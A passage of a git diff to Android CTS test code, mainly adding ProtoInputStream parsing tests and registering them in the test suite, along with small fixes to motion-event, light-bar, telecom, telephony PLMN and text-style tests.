+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[0]);
+        testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT64;
+        final long FIELD_ID = fieldFlags | ((long) 62 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.uint64FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.uint64FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.uint64FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readLong(FIELD_ID_1);
+                        // don't fail, varint is ok
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readLong(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readLong(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed uint64)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readLong(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
index 8178b46..f8bd54b 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
@@ -17,6 +17,7 @@
 package android.util.proto.cts;
 
 import android.util.proto.ProtoOutputStream;
+import android.util.proto.ProtoStream;
 import android.util.proto.cts.nano.Test;
 
 import com.google.protobuf.nano.MessageNano;
@@ -36,31 +37,31 @@
      * Test making the tokens for startObject.
      */
     public void testMakeToken() throws Exception {
-        assertEquals(0xe000000000000000L, ProtoOutputStream.makeToken(0xffffffff, false, 0, 0, 0));
-        assertEquals(0x1000000000000000L, ProtoOutputStream.makeToken(0, true, 0, 0, 0));
-        assertEquals(0x0ff8000000000000L, ProtoOutputStream.makeToken(0, false, 0xffffffff, 0, 0));
-        assertEquals(0x0007ffff00000000L, ProtoOutputStream.makeToken(0, false, 0, 0xffffffff, 0));
-        assertEquals(0x00000000ffffffffL, ProtoOutputStream.makeToken(0, false, 0, 0, 0xffffffff));
+        assertEquals(0xe000000000000000L, ProtoStream.makeToken(0xffffffff, false, 0, 0, 0));
+        assertEquals(0x1000000000000000L, ProtoStream.makeToken(0, true, 0, 0, 0));
+        assertEquals(0x0ff8000000000000L, ProtoStream.makeToken(0, false, 0xffffffff, 0, 0));
+        assertEquals(0x0007ffff00000000L, ProtoStream.makeToken(0, false, 0, 0xffffffff, 0));
+        assertEquals(0x00000000ffffffffL, ProtoStream.makeToken(0, false, 0, 0, 0xffffffff));
     }
 
     /**
      * Test decoding the tokens.
      */
     public void testDecodeToken() throws Exception {
-        assertEquals(0x07, ProtoOutputStream.getTagSizeFromToken(0xffffffffffffffffL));
-        assertEquals(0, ProtoOutputStream.getTagSizeFromToken(0x1fffffffffffffffL));
+        assertEquals(0x07, ProtoStream.getTagSizeFromToken(0xffffffffffffffffL));
+        assertEquals(0, ProtoStream.getTagSizeFromToken(0x1fffffffffffffffL));
 
-        assertEquals(true, ProtoOutputStream.getRepeatedFromToken(0xffffffffffffffffL));
-        assertEquals(false, ProtoOutputStream.getRepeatedFromToken(0xefffffffffffffffL));
+        assertEquals(true, ProtoStream.getRepeatedFromToken(0xffffffffffffffffL));
+        assertEquals(false, ProtoStream.getRepeatedFromToken(0xefffffffffffffffL));
 
-        assertEquals(0x01ff, ProtoOutputStream.getDepthFromToken(0xffffffffffffffffL));
-        assertEquals(0, ProtoOutputStream.getDepthFromToken(0xf005ffffffffffffL));
+        assertEquals(0x01ff, ProtoStream.getDepthFromToken(0xffffffffffffffffL));
+        assertEquals(0, ProtoStream.getDepthFromToken(0xf005ffffffffffffL));
 
-        assertEquals(0x07ffff, ProtoOutputStream.getObjectIdFromToken(0xffffffffffffffffL));
-        assertEquals(0, ProtoOutputStream.getObjectIdFromToken(0xfff80000ffffffffL));
+        assertEquals(0x07ffff, ProtoStream.getObjectIdFromToken(0xffffffffffffffffL));
+        assertEquals(0, ProtoStream.getObjectIdFromToken(0xfff80000ffffffffL));
 
-        assertEquals(0xffffffff, ProtoOutputStream.getSizePosFromToken(0xffffffffffffffffL));
-        assertEquals(0, ProtoOutputStream.getSizePosFromToken(0xffffffff00000000L));
+        assertEquals(0xffffffff, ProtoStream.getOffsetFromToken(0xffffffffffffffffL));
+        assertEquals(0, ProtoStream.getOffsetFromToken(0xffffffff00000000L));
     }
 
     /**
@@ -617,9 +618,9 @@
             // Check this, because it's really useful, and if we lose the message it'll be
             // harder to debug typos.
             assertEquals("Mismatched startObject/endObject calls. Current depth 2"
-                    + " token=Token(val=0x2017fffd0000000a depth=2 object=2 tagSize=1 sizePos=10)"
+                    + " token=Token(val=0x2017fffd0000000a depth=2 object=2 tagSize=1 offset=10)"
                     + " expectedToken=Token(val=0x2017fffc0000000a depth=2 object=3 tagSize=1"
-                    + " sizePos=10)", ex.getMessage());
+                    + " offset=10)", ex.getMessage());
         }
     }
 
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java b/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java
index 1802fd0..97b25d6 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java
@@ -42,6 +42,24 @@
         suite.addTestSuite(ProtoOutputStreamEnumTest.class);
         suite.addTestSuite(ProtoOutputStreamObjectTest.class);
 
+        suite.addTestSuite(ProtoInputStreamDoubleTest.class);
+        suite.addTestSuite(ProtoInputStreamFloatTest.class);
+        suite.addTestSuite(ProtoInputStreamInt32Test.class);
+        suite.addTestSuite(ProtoInputStreamInt64Test.class);
+        suite.addTestSuite(ProtoInputStreamUInt32Test.class);
+        suite.addTestSuite(ProtoInputStreamUInt64Test.class);
+        suite.addTestSuite(ProtoInputStreamSInt32Test.class);
+        suite.addTestSuite(ProtoInputStreamSInt64Test.class);
+        suite.addTestSuite(ProtoInputStreamFixed32Test.class);
+        suite.addTestSuite(ProtoInputStreamFixed64Test.class);
+        suite.addTestSuite(ProtoInputStreamSFixed32Test.class);
+        suite.addTestSuite(ProtoInputStreamSFixed64Test.class);
+        suite.addTestSuite(ProtoInputStreamBoolTest.class);
+        suite.addTestSuite(ProtoInputStreamStringTest.class);
+        suite.addTestSuite(ProtoInputStreamBytesTest.class);
+        suite.addTestSuite(ProtoInputStreamEnumTest.class);
+        suite.addTestSuite(ProtoInputStreamObjectTest.class);
+
         return suite;
     }
 }
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
index 7328762..c85f8b7 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
index 072f2af..b8a978d 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
index 10939c6..b3c4054 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index db29704..4a8cc780 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -124,7 +124,8 @@
         FutureTask<Point> task = new FutureTask<>(() -> {
             final int[] viewLocation = new int[2];
             viewHolder[0].getLocationOnScreen(viewLocation);
-            return new Point(viewLocation[0], viewLocation[1]);
+            // Set y position to the center of the view, to make sure it is away from the status bar
+            return new Point(viewLocation[0], viewLocation[1] + viewHolder[0].getHeight() / 2);
         });
         mActivity.runOnUiThread(task);
         Point viewLocation = task.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 23fa9a0..44d0f46 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -229,6 +229,15 @@
 
         int mixedIconColor = mixSrcOver(background, iconColor);
         int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
+        float [] hsvMixedIconColor = new float[3];
+        float [] hsvMixedPartialColor = new float[3];
+        Color.RGBToHSV(Color.red(mixedIconColor), Color.green(mixedIconColor),
+                Color.blue(mixedIconColor), hsvMixedIconColor);
+        Color.RGBToHSV(Color.red(mixedIconPartialColor), Color.green(mixedIconPartialColor),
+                Color.blue(mixedIconPartialColor), hsvMixedPartialColor);
+
+        float maxHsvValue = Math.max(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
+        float minHsvValue = Math.min(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
 
         int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
         bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
@@ -236,6 +245,7 @@
         Stats s = new Stats();
         float eps = 0.005f;
 
+        float [] hsvPixel = new float[3];
         for (int c : pixels) {
             if (isColorSame(c, background)) {
                 s.backgroundPixels++;
@@ -243,7 +253,9 @@
             }
 
             // What we expect the icons to be colored according to the spec.
-            if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)) {
+            Color.RGBToHSV(Color.red(c), Color.green(c), Color.blue(c), hsvPixel);
+            if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)
+                    || (hsvPixel[2] >= minHsvValue && hsvPixel[2] <= maxHsvValue)) {
                 s.iconPixels++;
                 continue;
             }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index 36db13a..ba8be5e 100755
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -176,9 +176,11 @@
 
         // GIVEN a managed call
         placeAndVerifyCall();
-        verifyConnectionForOutgoingCall().setActive();
+        Connection outgoing = verifyConnectionForOutgoingCall();
+        outgoing.setActive();
         assertTrue(connectionService.waitForEvent(
                 MockConnectionService.EVENT_CONNECTION_SERVICE_FOCUS_GAINED));
+        assertCallState(mInCallCallbacks.getService().getLastCall(), Call.STATE_ACTIVE);
 
         // WHEN place another call has the same ConnectionService as the existing call
         placeAndVerifyCall();
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index e4a628a..c477ce4 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -616,22 +616,12 @@
         }
 
         for(String plmn : plmns) {
-            if (plmn.length() > 6 || plmn.length() < 5) {
-                fail("Invalid Length for PLMN-ID, must be 5 or 6: " + plmn);
-            }
-
-            // A record which is written in the SIM but empty will
-            // be all f's
-            if(android.text.TextUtils.isDigitsOnly(plmn)) {
-                assertTrue(
-                        "PLMNs must be strings of digits 0-9,F! " + plmn,
-                        android.text.TextUtils.isDigitsOnly(plmn));
-            } else {
-                for (char c : plmn.toUpperCase().toCharArray()) {
-                    assertTrue("PLMNs must be strings of digits 0-9,F! " + plmn,
-                            Character.toUpperCase(c) == 'F');
-                }
-            }
+            assertTrue(
+                    "Invalid Length for PLMN-ID, must be 5 or 6! plmn=" + plmn,
+                    plmn.length() >= 5 && plmn.length() <= 6);
+            assertTrue(
+                    "PLMNs must be strings of digits 0-9! plmn=" + plmn,
+                    android.text.TextUtils.isDigitsOnly(plmn));
         }
     }
 
diff --git a/tests/tests/text/res/values/style.xml b/tests/tests/text/res/values/style.xml
index b122101..e62d3c6 100644
--- a/tests/tests/text/res/values/style.xml
+++ b/tests/tests/text/res/values/style.xml
@@ -16,11 +16,11 @@
  -->
 
 <resources>
-  <style name="customFont">
-    <item name="android:fontFamily">@font/samplefont</item>
-  </style>
-  <style name="customFontWithStyle">
-    <item name="android:fontFamily">@font/samplefont</item>
-    <item name="android:textStyle">bold|italic</item>
-  </style>
+    <style name="customFont">
+        <item name="android:fontFamily">@font/samplefont</item>
+    </style>
+    <style name="customFontWithStyle">
+        <item name="android:fontFamily">@font/samplefont</item>
+        <item name="android:textStyle">bold|italic</item>
+    </style>
 </resources>